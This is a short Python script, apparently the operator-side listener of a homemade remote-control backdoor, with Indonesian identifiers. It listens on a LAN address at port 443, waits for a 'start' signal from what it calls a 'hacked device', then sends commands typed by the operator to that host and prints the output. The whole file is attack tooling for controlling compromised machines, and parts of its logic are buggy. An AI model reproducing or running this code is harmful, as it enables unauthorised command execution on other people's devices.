import socket
import sys
import os
from threading import Thread
import time

class dengar:
    def __init__(self):
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.myip, self.myport = '192.168.43.171', 443
        print('binding %s:%d...' %(self.myip, self.myport))
        self.server.bind((self.myip, self.myport))
        self.server.listen()
        print('listening...')
        
    access = False    
    def handler(self, client_socket, info):
        oke = client_socket.recv(1024)
        eko = oke.decode('utf-8')
        
        print('okay...start')
        if (str(eko) == 'start'):
            self.access = True
            
        if self.access == True:
            try:
            #    client_socket.close()
                self.server.close()
            except:
                print('error while closing server connection. maybe affecting to connect again? ')
            if True:#while True:
                print('received packets from hacked device %s:%d' %(info[0], info[1]))
                order = str(input('perintah: '))
                self.client.connect((str(info[0]), 443))
                self.client.send(order.encode('utf-8'))
                print(self.client.recv(4096).decode('utf-8'))
                self.client.close()
                print('sending...')
                
                client_socket.close()
        
    def run(self):
        while True:
            print(self.access)    
            if self.access == False:
                client, addr = self.server.accept()
            
            torun = Thread(target=self.handler, args=[client, addr])
            torun.start()
            time.sleep(3)
        
        
dengar().run()